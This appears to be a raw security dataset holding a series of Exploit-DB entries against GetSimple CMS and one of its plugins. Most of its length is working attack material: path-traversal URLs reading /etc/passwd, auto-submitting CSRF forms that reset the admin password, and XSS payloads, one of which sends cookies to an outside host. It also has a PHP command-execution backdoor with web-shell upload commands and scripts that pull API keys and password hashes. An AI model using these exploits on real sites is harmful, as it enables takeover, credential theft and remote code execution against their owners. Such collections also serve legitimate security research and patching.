deardaniel/secdata-raw huggingface dataset:
Exploit-DB #12517
Description: Getsimple CMS 2.01 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-05-06
Author: Batch

Exploit:
# Exploit Title: GetSimple 2.01 LFI
# Date: 4/5/2010
# Author: Batch
# Software Link: http://www.box.net/get-simple
# Version: 2.01

#Special Conditions: Must be admin.
# Code :

...

# get file
if (file_exists($_GET['file'])) {
readfile($_GET['file'], 'r');
}
exit;

...


http://localhost/GetSimple_2.01/admin/download.php?file=../../../../../etc/passwd

#-Batch

#ryan1918.com
#Everyone else.
Exploit-DB #14338
Description: Getsimple CMS 2.01 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-07-12
Author: 10n1z3d

Exploit:
<!---
    Title: GetSimple CMS 2.01 Multiple Vulnerabilities (XSS/CSRF)
    Author: 10n1z3d <10n1z3d[at]w[dot]cn>
    Date: Mon 12 Jul 2010 12:11:45 PM EEST 
    Vendor: http://get-simple.info/
    Download: http://www.box.net/get-simple
--->

-=[ CSRF PoC 1 - Change Admin Password ]=-

    <html>
        <head>
            <title>GetSimple CMS 2.01 Multiple Vulnerabilities (XSS/CSRF) - Change Admin Password</title>
        </head>
        <body onload="document.csrf.submit();">
                
            <form name="csrf" action="http://[domain]/admin/settings.php" method="post">
                <!--- Edit these --->
                <input type="hidden" name="user" value="admin" />
                <input type="hidden" name="email" value="root@root.com" />
                <input type="hidden" name="sitepwd" value="rootroot"/>
                <input type="hidden" name="sitepwd_confirm" value="rootroot"/>
                <!--- Do not edit below --->
                <input type="hidden" name="submitted" value="Save Settings" />
            </form>
        </body>
    </html>
    
-=[ CSRF PoC 2 - Delete Page ]=-

    <img src="http://[domain]/admin/deletefile.php?id=about" alt="Do you see this?" />

-=[ CSRF PoC 3 - Delete All Backups ]=-

    <img src="http://[domain]/admin/backups.php?deleteall" alt="Do you see this?" />

-=[ CSRF PoC 4 - Logout The Administrator ]=-

    <img src="http://[domain]/admin/logout.php" alt="Do you see this?" />

-=[ XSS PoCs ]=-

    http://[domain]/admin/support.php?success=<script>alert('xss');</script>
    http://[domain]/admin/archive.php?upd=del-success&id=<script>alert('xss');</script>
    http://[domain]/admin/upload.php?upd=del-success&id=<script>alert('xss');</script>
    http://[domain]/admin/pages.php?error=<script>alert('xss');</script>
    http://[domain]/admin/pages.php?upd=edit-success&id=<script>alert('xss');</script>&type=delete
    http://[domain]/admin/pages.php?upd=edit-err&type=<script>alert('xss');</script>

-=[ Note ]=-

    More vulnerabilities exist in this version please see the following links:
    
    http://secunia.com/advisories/39464
    http://secunia.com/advisories/39720

<!---
    http://www.evilzone.org/
    irc.evilzone.org  (6697 / 9999)
--->
Exploit-DB #15605
Description: Getsimple CMS 2.01 < 2.02 - Administrative Credentials Disclosure
Type: webapps
Platform: php
Date: 2010-11-24
Author: Michael Brooks

Exploit:
Researcher: Michael Brooks
Affecting: GetSimple CMS 2.01 and 2.02
Fixed:2.03
Vulnerability: Administrative Credentials Disclosure
Vendor's Homepage: http://code.google.com/p/get-simple-cms

download url for 2.01: http://www.box.net/get-simple/1/30435008/399754548
download svn for 2.02(beta): svn checkout
http://get-simple-cms.googlecode.com/svn/trunk/
get-simple-cms-read-only

GetSimple does not use a SQL Database. Instead it uses a system of
.xml files located here: http://127.0.0.1/GetSimple_2.01/data. These
files are used to maintain application state and organize the
applications content. The administrators username and password hash
can be obtained by navigating to the following xml file:
http://127.0.0.1/GetSimple_2.01/data/other/user.xml
Passwords are stored using sha1() and a salt is not used by default,
although a user can configure the application to use one. It is
trivial to break this hash using John The Ripper or Cain and Able .

All failed login attempts are put into the following XML file, this
information can greatly reduce the number of guesses that an attacker
would have to make in order to break the sha1 hash.
http://127.0.0.1/GetSimple_2.01/data/other/logs/failedlogins.log

There are other interesting files such as a clear text API token can
be obtained:
http://127.0.0.1/GetSimple_2.01/data/other/authorization.xml

The patch is simple, in the ./data/ directory add a .htaccess file
with that contains "deny from all".
Exploit-DB #35353
Description: Getsimple CMS 2.03 - 'upload-ajax.php' Arbitrary File Upload
Type: webapps
Platform: php
Date: 2011-02-15
Author: s3rg3770 & Chuzz

Exploit:
source: https://www.securityfocus.com/bid/46427/info

GetSimple CMS is prone to an arbitrary-file-upload vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in arbitrary code execution within the context of the vulnerable application.

GetSimple CMS 2.03 is vulnerable; other versions may also be affected. 

Bug Code:
getsimple/admin/upload-ajax.php

if ($_REQUEST[&#039;sessionHash&#039;] === $SESSIONHASH) {
if (!empty($_FILES))
{
$tempFile = $_FILES[&#039;Filedata&#039;][&#039;tmp_name&#039;];
$name = clean_img_name($_FILES[&#039;Filedata&#039;][&#039;name&#039;]);
$targetPath = GSDATAUPLOADPATH;
$targetFile = str_replace(‘//’,&#039;/’,$targetPath) . $name;
move_uploaded_file($tempFile, $targetFile);
----------------------------------------------------------------------

Generating SESSIONHASH: md5( $salt. $sitename)
[XPL]

curl -F “Filedata=@yourshell.txt;filename=shell.php” 
http://getsimple_localhost/admin/upload-ajax.php\?sessionHash\=HASH CREATO

After, enjoy your Bacon-Shell here ...http://getsimple_localhost/ 
data/uploads/shell.php
Exploit-DB #35726
Description: Getsimple CMS 3.0 - 'set' Local File Inclusion
Type: webapps
Platform: php
Date: 2011-05-07
Author: AutoSec Tools

Exploit:
source: https://www.securityfocus.com/bid/47767/info

GetSimple is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to obtain potentially sensitive information or to execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.

GetSimple 3.0 is vulnerable; other versions may also be affected. 

# ------------------------------------------------------------------------
# Software................GetSimple 3.0
# Vulnerability...........Local File Inclusion
# Threat Level............Critical (4/5)
# Download................http://get-simple.info/
# Discovery Date..........5/4/2011
# Tested On...............Windows Vista + XAMPP
# ------------------------------------------------------------------------
# Author..................AutoSec Tools
# Site....................http://www.autosectools.com/
# Email...................John Leitch <john@autosectools.com>
# ------------------------------------------------------------------------
# 
# 
# --Description--
# 
# A local file inclusion vulnerability in GetSimple 3.0 can be exploited
# to include arbitrary files.
# 
# 
# --PoC--

import socket

host = 'localhost'
path = '/getsimple_3.0'
trav_sequence = '..%2f' * 8 + 'windows%2fwin.ini'
port = 80

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.settimeout(8)

s.send('POST ' + path + '/index.php?set=' + trav_sequence + ' HTTP/1.1\r\n'
       'Host: localhost\r\n'
       'Proxy-Connection: keep-alive\r\n'
       'User-Agent: x\r\n'
       'Content-Length: 0\r\n'
       'Cache-Control: max-age=0\r\n'
       'Origin: null\r\n'
       'Content-Type: multipart/form-data; boundary=----x\r\n'
       'Accept: text/html\r\n'
       'Accept-Language: en-US,en;q=0.8\r\n'
       'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n'
       '\r\n')

resp = s.recv(8192)

print resp
Exploit-DB #37587
Description: Getsimple CMS 3.1.2 - 'path' Local File Inclusion
Type: webapps
Platform: php
Date: 2012-08-07
Author: PuN!Sh3r

Exploit:
source: https://www.securityfocus.com/bid/54866/info

GetSimple is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to obtain potentially sensitive information or to execute arbitrary local scripts in the context of the web server process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.

GetSimple 3.1.2 is vulnerable; other versions may also be affected. 

http://www.example.com/cms/admin/filebrowser.php?path=[LFI]
Exploit-DB #25405
Description: Getsimple CMS 3.2.1 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2013-05-13
Author: Ahmed Elhady Mohamed

Exploit:
GetSimpleCMS Version 3.2.1 Arbitrary File Upload Vulnerability
===================================================================================
# Exploit Title: GetSimpleCMS Version 3.2.1 Arbitrary File Upload Vulnerability
# Download link: http://code.google.com/p/get-simple-cms/
# version: 3.2.1
# Category: webapps
# Tested on: ubuntu 13.4
# Author: Ahmed Elhady Mohamed
# Email: ahmed.elhady.mohamed@gmail.com
# Website: www.itsec4all.com
===================================================================================
Description:
	- GetSimpleCMS Version 3.2.1 suffers from arbitrary file upload vulnerability which allows an attacker to upload a HTML page.
	- The main reason of this vulnerability is that the application uses a blacklist technique to compare the file aganist mime types and extensions.
	- If the mime type or the extension is in the blacklist array , the application won't upload it.
	
Exploit:
	- For exploiting this vulnerability we will create a file with mutiple extensions for example "exploit.html.fr"
	- The application will check the mime type and extension of the file which is "fr" aganist the blacklist array mime type and extensions.
	- and ofcourse "fr" extension won't be in the blacklist array so the application will upload it successfully.
	- The uploaded file will be under the "data/uploads/" folder.
	
Solution:
	- The application should use whitelisting technique which compare the file extensions and mime types aganist
	- acceptable mime types and extensions for more information google for "whitelisting vs blacklisting"
Exploit-DB #43888
Description: GetSimple CMS 3.3.1 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2014-10-12
Author: Pedro Ribeiro

Exploit:
PoC for XSS bugs in the admin console of GetSimple CMS 3.3.1
CVE-2014-1603
by Pedro Ribeiro (pedrib@gmail.com) from Agile Information Security
Disclosure: 12/05/2014 / Last updated: 12/10/2014

Timeline:
	04/11/2013 - Found bugs, produced proof of concept.
	05/11/2013 - Communicated to the developer, which acknowledged receipt.
	10/01/2014 - Politely asked the developer for progress, no response.
	17/01/2014 - Received CVE number from MITRE.
	20/01/2014 - Communicated CVE number to the developer, no response.
	29/01/2014 - Politely asked the developer for progress, no response.
	12/05/2014 - Public release.
==============================

Reflected XSS in plugin load page:
	http://192.168.56.101/getsimple/admin/load.php?id=anonymous_data&param="><script>alert(1)</script>

Persistent XSS in settings page:
	<form name="input" action="http://192.168.56.101/getsimple/admin/settings.php" method="post">
	<input type="text" name="user" value=""><script>alert(1);</script>">
	<input type="text" name="email" value=""><script>alert(2);</script>">
	<input type="text" name="name" value=""><script>alert(3);</script>">
	<input type="hidden" name="submitted" value="Save Settings">
	<input type="submit" value="Submit">
	</form>


================
Agile Information Security Limited
http://www.agileinfosec.co.uk/
>> Enabling secure digital business >>
Exploit-DB #32502
Description: Getsimple CMS 3.3.1 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2014-03-25
Author: Jeroen - IT Nerdbox

Exploit:
# Exploit Title: etSimple CMS v3.3.1 Persistent Cross Site Scripting

# Google Dork: N/A

# Date: 24-03-2014

# Exploit Author: Jeroen - IT Nerdbox

# Vendor Homepage: http://get-simple.info/

# Software Link: http://get-simple.info/download/

# Version: v3.3.1

# Tested on: N/A

# CVE : N/A

#

## Description:

#

# In the administrative interface, the users can change their personal
settings. The parameters "name" and 

# "permalink"  do not properly sanitize its input and allows malicious code
to be stored in the XML file.

#

## PoC:

# Admin"><script>alert("1");</script>

# http://url/admin/settings.php

#

#

# The following parameters are vulnerable:

#

# 1. Permalink

# 2. Name

#

#

# More information can be found at:
http://www.nerdbox.it/getsimple-cms-v3-3-1-vulnerabilities/
Exploit-DB #40008
Description: Getsimple CMS 3.3.10 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2016-06-23
Author: s0nk3y

Exploit:
# Exploit Title: Getsimple CMS <= 3.3.10 Arbitrary File Upload Vulnerability
# Google Dork: -
# Date: 23/06/2016
# Exploit Author: s0nk3y
# Vendor Homepage: http://get-simple.info/
# Category: webapps
# Software Link: http://get-simple.info/data/uploads/releases/GetSimpleCMS-3.3.10.zip
# Version: 3.3.10
# Tested on: Ubuntu 16.04 / Mozilla Firefox
# Twitter: http://twitter.com/s0nk3y
# Linkedin: Rahmat Nurfauzi - http://linkedin.com/in/rahmatnurfauzi

Description
========================

GetSimple CMS has been downloaded over 120,000 times (as of March 2013). 
The magazine t3n assigns GetSimple as "micro" and "Minimal-CMS" one, praises 
the simplicity yet possible extensibility through plug-ins.

Vulnerability
========================

GetSimpleCMS Version 3.3.10 suffers from arbitrary file upload vulnerability 
which allows an attacker to upload a backdoor.

This vulnerability is that the application uses a blacklist and whitelist 
technique to compare the file against mime types and extensions.

Proof of Concept
========================

For exploiting this vulnerability we will create a file by adding the percent 
behind extension.
1. evil.php% <--- this is simple trick :)
<?php
// simple backdoor
system($_GET['cmd']);
?>
2. An attacker login to the admin page and uploading the backdoor
3. The uploaded file will be under the "/data/uploads/" folder

Report Timeline
========================
2016-06-23 : Vulnerability reported to vendor
2016-06-23 : Disclosure
Exploit-DB #44408
Description: GetSimple CMS 3.3.13 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-04-05
Author: Sureshbabu Narvaneni

Exploit:
#######################################
# Exploit Title: GetSimple CMS 3.3.13 - Cross Site Scripting Vulnerability
# Google Dork: N/A
# Date: 03-04-2018
#######################################
# Exploit Author: Sureshbabu Narvaneni#
#######################################
# Author Blog : http://nullnews.in
# Vendor Homepage: http://get-simple.info/
# Software Link: http://get-simple.info/download/
# Affected Version: 3.3.13
# Category: WebApps
# Tested on: Win7 Enterprise x86/Kali Linux 4.12 i686
# CVE : CVE-2018-9173
#
# 1. Vendor Description:
#
# GetSimple is an XML based, stand-alone, fully independent and lite
Content Management System. To go along with its
# best-in-class user interface, we have loaded it with features that every
website needs, but with nothing it
# doesn't. GetSimple is truly the simplest way to manage a small-business
website.
#
# 2. Technical Description:
#
# Cross-site scripting (XSS) vulnerability in
admin/template/js/uploadify/uploadify.swf in GetSimple CMS 3.3.13
# allows remote attackers to inject arbitrary web script or HTML, as
demonstrated by the movieName parameter.
#
# 3. Proof Of Concept:
#
#  Simple alert.
#
#  http://
[URL]GetSimpleCMS-3.3.13/admin/template/js/uploadify/uploadify.swf?movieName="])}catch(
#  e){alert("MrR3boot")}//
#
#  Grab the cookies
#
#  http://
[URL]GetSimpleCMS-3.3.13/admin/template/js/uploadify/uploadify.swf?movieName="])}catch(
#  e){window.location="https://mrreboot.here?"+document.cookie}//
#
# 4. Solution:
#
# Upgrade to latest release.
# http://get-simple.info/download/
#
# 5. Reference:
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-9173
# https://github.com/GetSimpleCMS/GetSimpleCMS/issues/1266
#####################################
Exploit-DB #48850
Description: GetSimple CMS 3.3.16 - Persistent Cross-Site Scripting (Authenticated)
Type: webapps
Platform: php
Date: 2020-10-01
Author: Roel van Beurden

Exploit:
# Exploit Title: GetSimple CMS 3.3.16 - Persistent Cross-Site Scripting (Authenticated)
# Google Dork: -
# Date: 2020-09-29
# Exploit Author: Roel van Beurden
# Vendor Homepage: http://get-simple.info
# Software Link: http://get-simple.info/download
# Version: 3.3.16
# Tested on: Linux Ubuntu 18.04
# CVE: N/A


1. Description:
----------------------
GetSimple CMS 3.3.16 allows in parameter 'permalink' on the Settings page persistent Cross Site Scripting which is executed when you create and open a new page.


3. Affected parameter:
----------------------
'permalink' on /admin/settings.php


3. Exploitation steps:
----------------------
1: Create a new page
2: Go to Settings on the right top of the page
3: Add XSS payload to "Custom Permalink Structure" text field
4: Save Settings
5: Go to the tab 'pages' to trigger the XSS alert popup


3: Example payload:
----------------------
"><img src=x onerror=alert('XSS')>


4: Burp Request:
----------------------
POST /GetSimpleCMS-3.3.16/admin/settings.php HTTP/1.1

Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/GetSimpleCMS-3.3.16/admin/settings.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 349
Connection: close
Cookie: __atuvc=22%7C39; __atuvs=5f689d4d[PII_REDACTED]5; GS_ADMIN_USERNAME=admin; d46405c5e4a3aa8c65850d4fa6ba75e926569261=1995ba85457ab3e86fa5e01f9ed5267cf9775880
Upgrade-Insecure-Requests: 1

nonce=c4577f17fac90ca1b8306ce48571c27a0a7923ec&sitename=GetSimple+Test+VM&siteurl=http%3A%2F%2F127.0.0.1%2FGetSimpleCMS-3.3.16%2F&prettyurls=1&permalink=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%28%27XSS%27%29%3E&user=admin&email=admin%40example.org&name=&timezone=&lang=en_US&show_htmleditor=1&site[CREDENTIAL_REDACTED]_confirm=&submitted=Save+Settings


5: Exploitation demo:
----------------------
https://www.youtube.com/watch?v=8IMfD5KGt_U
Exploit-DB #49928
Description: GetSimple CMS 3.3.4 - Information Disclosure
Type: webapps
Platform: php
Date: 2021-06-02
Author: Ron Jost

Exploit:
# Exploit Title: GetSimple CMS 3.3.4 - Information Disclosure
# Date 01.06.2021
# Exploit Author: Ron Jost (Hacker5preme)
# Vendor Homepage: http://get-simple.info/
# Software Link: https://github.com/GetSimpleCMS/GetSimpleCMS/archive/refs/tags/v3.3.4.zip
# Version: 3.3.4
# CVE: CVE-2014-8722
# Documentation: https://github.com/Hacker5preme/Exploits#CVE-2014-8722-Exploit


'''
Description:
GetSimple CMS 3.3.4 allows remote attackers to obtain sensitive information via a direct request to
(1) data/users/<username>.xml,
(2) backups/users/<username>.xml.bak,
(3) data/other/authorization.xml, or
(4) data/other/appid.xml.
'''


'''
Import required modules:
'''
import sys
import requests

'''
User-Input:
'''
target_ip = sys.argv[1]
target_port = sys.argv[2]
cmspath = sys.argv[3]
print('')
username = input("Do you know the username? Y/N: ")
if username == 'Y':
    print('')
    username = True
    username_string = input('Please enter the username: ')
else:
    print('')
    username = False
    print('No problem, you will still get the API key')


'''
Get Api-Key:
'''
url = 'http://' + target_ip + ':' + target_port + cmspath + '/data/other/authorization.xml'
header = {
        "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
        "Accept-Language": "de,en-US;q=0.7,en;q=0.3",
        "Accept-Encoding": "gzip, deflate",
        "Connection": "close",
        "Upgrade-Insecure-Requests": "1",
        "Cache-Control": "max-age=0"
}
x = requests.get(url, headers=header).text
start = x.find('[') + 7
end = x.find(']')
api_key = x[start:end]
print('')
print('Informations:')
print('')
print('[*] API Key: ' + api_key)


if username:
    '''
    Get Email and Passwordhash:
    '''
    url = "http://" + target_ip + ':' + target_port + cmspath + '/data/users/' + username_string + '.xml'
    header = {
            "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0",
            "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
            "Accept-Language": "de,en-US;q=0.7,en;q=0.3",
            "Accept-Encoding": "gzip, deflate",
            "Connection": "close",
            "Upgrade-Insecure-Requests": "1",
            "Cache-Control": "max-age=0"
    }
    x = requests.get(url, headers=header).text
    start =  x[x.find('PWD>'):]
    passwordhash = start[start.find('>') +1 :start.find('<')]
    print('[*] Hashed Password: ' + passwordhash)

    start = x[x.find('EMAIL>'):]
    email = start[start.find('>') + 1 : start.find('<')]
    print('[*] Email: ' + email)
print('')
Exploit-DB #37472
Description: Getsimple CMS Items Manager Plugin - 'PHP.php' Arbitrary File Upload
Type: webapps
Platform: php
Date: 2012-07-02
Author: Sammy FORGIT

Exploit:
source: https://www.securityfocus.com/bid/54255/info

Items Manager Plugin for GetSimple CMS is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because the application fails to adequately sanitize user-supplied input.

An attacker can exploit this vulnerability to upload arbitrary code and execute it in the context of the web server process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.

Items Manager Plugin 1.5 is vulnerable; other versions may also be affected. 

<?php

$uploadfile="lo.php";

$ch = curl_init("http://www.example.com/getsimple/plugins/items/uploader/server/php.php");
curl_setopt($ch, CURLOPT_POST, true);   
curl_setopt($ch, CURLOPT_POSTFIELDS, array('qqfile'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
   
print "$postResult";

?>